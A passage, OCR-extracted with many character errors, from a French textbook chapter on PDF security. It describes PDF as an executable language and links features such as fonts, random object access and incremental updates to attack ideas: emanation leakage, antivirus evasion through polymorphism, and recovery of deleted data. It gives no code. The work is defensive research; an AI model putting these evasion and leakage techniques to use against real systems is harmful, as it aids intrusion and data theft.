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du code et c'est I'intcrprctation de ce dernier qui permettra le rendu final des donnees sous forme d'une image. C'est le cas des formats dits non WYSIWYG (What You See Is What You Get) comme le PDF, le Postscript... Pour ces formats, les donnees sont representees par du code qu'il est necessaire d'interprctcr ou de compiler pour visualiser les donnees finales. Les applications qui mettent en oeuvre ces types de formats contiennent des fonctionnalites d'execntion toujours plus puissantes mais egalement plus complexes, lesquelles rendent possible, voire favorisent, la conception de codes malveillants transmissibles par de simples documents bureautiques (en realite des fichiers de code). L'existence de ces fonctionnalites est motivce par les besoins commerciaux de fournir toujours plus dinteroperabilite avec les applications existantes mais surtout plus d'ergonomie aux utilisateurs. De surcroit, le developpement (trop) rapide des applications et des formats rend l'analyse de securite qui devrait etre faite systematiquement, quasi impossible, du moins dans les temps - quand elle est faite. Le plus souvent, elle se resume a gerer les problemes quand ils se presentent. Une telle analyse en profondeur n'est presque jamais conduite, en particulier en adoptant le point de vue de l'attaquant comme approche de travail. Le cas des documents PDF (Portable Document Format) est symptomatique de ce deficit de perception du danger lie aux formats de documents. Format totalement portable et inter-operable, tout risque potentiel peut avoir des consequences dramatiques pour l'ensemble de nos systemes informatiques. Outre ses extraordinaires caracteristiques qui le rendent si populaire, le PDF est beaucoup plus qu'un simple format de document. De type non WYSIWYG, c'est donc egalement un langage de programmation puissant et complet, dedie a la creation et la manipulation de document, et ce, avec des capacites d'execution relativement fortes. La question naturelle - du moins pour l'attaquant - est alors de determiner si certaines de ses capacites ne peuvent pas etre detournees et perverties par un attaquant pour concevoir et diffuser des codes malveillants en langage PDF. Dans cette section, nous allons etudier et illustrer la securite reelle des documents PDF en nous placant au niveau du code PDF lui-meme. Encore une fois, il est important de bien conserver a l'esprit qu'un fichier PDF est en fait un fichier source interprete / execute par une application ou un peripherique et que la separation donnees/code n'a plus vraiment de sens. La seule solution reste donc de travailler directement au niveau de ce code. A ce jour, il n'existait aucune etude exploratoire exhaustive du langage PDF et des problemes de securite eventuels lies a ce format. Seuls quelques rares cas. lies a des vulnerabilites lozicielles. sont connus.
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Nous avons donc conduit une telle etude [29] et analyse en details les capacites d'execntion du PDF et comment ces dernieres pouvaient etre eventuellement detournees a des fins malicieuses. Nous allons montrer que le niveau de risque est bien plus eleve que ne le percoivent les professionnels de la securite et a fortiori les utilisateurs en general. La puissance du langage PDF peut egalement constituer une faiblesse critique. Pour valider notre approche et les resultats de cette analyse, nous presenterons deux preuves de concept - parmi de nombreux autres possibles - de codes malveillants en langage PDF qui ont ete testes avec succes en conditions operationnelles. Ces experiences demontrent clairement qu'un simple document PDF peut etre relativement facilement concu pour mener une attaque redoutable via, cote utilisateur, un simple logiciel de lecture de documents PDF. Cela implique de limiter fortement certaines des capacites de ce langage, en particulier sur un systeme d'information critique OU la securite est prioritaire.



12.4.1 Le format



PDF



L'esprit du langage PDF, heritier direct d'un langage plus ancien appele Postscript, est de permettre aux utilisateurs de manipuler et dechanger de manicre portable et universelle, des documents electroniques independamment de la plateforme de travail. II s'agit d'un langage/format fortement structure, ouvert, evolutif, autorisant I'execution pour une interactivitc et une accessibilite accrues. La consequence est qu'un document PDF est tout sauf de la donnee inerte. Cependant, le format PDF est encore porcu comme un format sur et securise au point d'avoir ete choisi par la plupart des entreprises et administrations dans le monde, comme standard de document.



Le modele de document



PDF



Un document PDF est defini comme une collection d'objets, qui, ensembles decrivent l'apparence d'une ou plusieurs pages. Cette collection d'objets peut etre accompagnee d'elements interactifs additionnels et de donnees applicatives de plus haut niveau. Pour gerer tous ces elements, le format/langage PDF s'appuie sur le Adobe Imaging Model herite du langage Postscript. Ce modele general permet la description de textes, d'images ... non pas en termes de pixels, mais en termes d'objets abstraits. Ces objets et autres composants additionnels sont geres par des flux de page, lesquels sont en fait une combinaison doperandes (ob iets) et onerateurs. ce aui. a un nlus haut niveau. constitue un veritable
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langage dedie a la description de pages compatible avec le modele PDF. Cette description de page est assuree selon un processus en deux etapes : 1. l'application (typiquement Adobe Reader) genere d'abord une description du document en langage PDF, laquelle est independante du materiel; 2. un interpreteur assure ensuite le rendu et l'affichage du document a partir de la description qui en a ete faite dans I'etape precedente,



L'interet du modele



est que ces deux etapes peuvent etre realisees independamment l'une de l'autre a la fois dans le temps et egalement vis-a-vis de la plateforme. Tout cela assure donc une extraordinaire capacite de traitement et d'echange des documents. PDF



Les fonctionnalites du langage



PDF



Les caracteristiques et fonctionnalites sont si nombreuses qu'il est impossible de les decrire toutes ici. Nous allons juste en rappeler les principales qui seront importantes pour notre etude. Le lecteur peut consulter [2] pour plus de details. Portobilite Un fichier PDF est un fichier binaire code en octets (par defaut!"). Le choix d'un format binaire plutot que texte assure une meilleure portabilite et permet de prevenir toute perte de donnees. Compression des donnees Plusieurs standards de compression sont supportes par la norme PDF : - JPEG et JPEG 2000 pour la compression des images, - CCITT-2 et CCITT-3, JBIG2 (images monochromes), - LZW pour le texte, les graphiques et les images. Les fichiers PDF pouvant etre de grande taille (notamment lorsque generes par des scanners), l'usage de la compression permet de produire des documents finaux plus legers. 16



N'importe quel fichier PDF peut egalement etre represente en utilisant le format ASCII code sur 7 bits; cette representation est cependant moins efficace que la representation nar defaut sur 8 bits.
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Gestion des polices



La gestion des polices est le challenge fondamental pour l'echange de documents. Generalement, le destinataire d'un document doit possedcr les memes polices que celles utilisees initialement pour creer le document. Si ce n'est pas le cas et qu'une police differente est substituee a la police originelle, le jeu des caractcrcs, la forme des glyphes 17 et la metrique pourraient differer de ceux de la police originelle. Cette substitution peut produire des effets imprevus et indesirables comme, par exemple, des lignes de texte debordant dans les marges ou se superposant a des graphiques. Le langage PDF fournit diverses solutions de gestion des polices : - les polices originelles peuvent etre incluses sous forme de flux dans le fichier PDF, ce qui permet d'assurer le rendu; - afin de diminuer la taille du fichier, un sous-jeu de caracteres peut etre inclus dans le fichier PDF, ce sous-jeu ne faisant apparaitrc que les caracteres employes dans le document; - le langage PDF definit un jeu de 14 polices standard qui peuvent etre employees sans definition prealable ; - un fichier PDF peut faire reference a un jeu de caracteres non inclus dans le fichier. Dans ce cas, une application consommatrice de PDF ne pourra utiliser ces polices que si elles se trouvent dans son environnement; - un fichier PDF contient un «font descriptor» (descripteur de police de caracteres) pour chaque police employee (hormis les 14 polices standard). Celui-ci renferme un minimum d'informations permettant a l'application consommatrice de PDF de determiner le meilleur substitut si cela devait s'averer necessaire. Mais cette gestion optimisee des polices peut egalement etre un facteur favorisant certaines attaques. L'insertion par un code malveillant (ou un attaquant) de polices dont le rapport signal a bruit a ete judicieusement modifie, peut permettre d'augmenter le rayonnement du signal video emis par I'ecran de la victime. Les informations peuvent ainsi etre recuperees a distance par l'attaquant (voir [42] pour la description de ce genre d'attaques). 17



Un glyphe est en fait la representation graphique (parmi une infinite d'autres possibles) d'un signe typographique, autrement dit de caractere (glyphe de caractere) ou d'un accent (glyphe d'accent). Un caractere particulier peut ainsi etre cree en ajoutant un glyphe d'accent a un glyphe de caractere, Les logiciels informatiques ont acces au dessin de ce glyphe par I'intermediaire d'une police de caracteres ou plus precisement, d'une fonte : le trace du glyphe y est le plus souvent defini par un ensemble de points ou de courbes de Bezier.
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Acces aleatoire aux objets



Un fichier PDF peut etre vu comme une representation a plat d'une structure de donnees construite a partir de collections d'objets. Chaque objet peut faire appel a n'importe quel autre objet dans la structure, et ce, de manierc totalement arbitraire. Cela signifie que l'ordre d'apparition des objets dans cette structure, et donc dans le fichier, n'a strictement aucune importance. L'ordre d'occurrence des objets n'a strictement aucune signification semantique. En d'autres termes, l'acces aux differents objets dans le document peut se faire de manierc aleatoire. Cependant, pour que cela soit possible, tout fichier PDF contient une table de references croisees (Cross Reference Table) permettant cet acces direct et aleatoire aux objets. Cette organisation est essentielle pour reduire le temps dacces a n'importe quel objet, et ce, quelle que soit la taille du fichier PDF. Dans un contexte viral, cette caracteristique est fondamentale en meme temps que tres prcoccupantc. Cela va permettre la mise en ceuvre aisee de techniques de polymorphisme par un code malveillant puisqu'un meme document peut etre decrit de plusieurs facons diflercntcs!". Autrement dit, les possibilites de contournement des antivirus sont malheureusement immenses [104, Chapitre 2]. Mise



a jour incremeniielle



Certaines applications peuvent permettre aux utilisateurs de modifier les documents PDF. Afin que les utilisateurs n'attendent pas que I'integralite du document soit reecrite, chaque fois que des modifications apportees a ce document doivent etre sauvegardees, le langage PDF autorise que les modifications soient ajoutees en fin de fichier, laissant les donnees originales intactes. L'addendum ajoute lorsque le fichier est mis a jour de facon incrementielle ne contient que les objets qui ont ete reellement ajoutes ou modifies et inclut une mise a jour de la table de references croisees. La mise a jour incrementielle permet donc a une application de sauvegarder les modifications apportees a un document PDF en un temps proportionnel, non pas a la taille du fichier mais proportionnel a la taille de la modification apportce. Cela represente un gain de temps enormc. Enfin, comme le contenu original du document est toujours present dans le fichier, il est possible d'annuler les modifications apportees en supprimant 18



Le nombre de facons d'ecrire un fichier PDF (infecte ou non) est de l'ordre du nombre de permutations possibles des N d'objets (malveillants ou non) composant le document soit N!. Ainsi, un document comportant 20 objets (Ia plupart des documents PDF en contiennent bien plus), pourra etre ecrit de 20! == 1018 facons differentes.
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FIG . 12 .4. Structure d 'un fichier



PDF



modifie



un ou plusieurs addenda. La capacit e a recup erer le cont enu originel d 'un document est crit ique quand des signatures numeriques ont ete appliquees au do cument et doivent et re verifiees. Mais le danger ti ent au fait qu 'il est egalement possible de retrouver les donnees origin ales (des donnees effacees par exemple) simplem ent en supprimant les obj et s, dan s le fichier PD F , concernant les modifications (voir figure 12.4) . L'analyse de fichiers PD F revelo parfois bien des surprises lor sque l'on peut travailler directement au niveau du code PDF et des objets. L'arrnee arnericaine - narmi de nombreux autres exemnles - en a fait la douloureuse
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experience avec le rapport Calip ari" (voir figure 12.5) . Ce rapport sous ses deux form es classifiee et declassifie est fourn i sur le CD ROM accompagna nt l'ouvrage.
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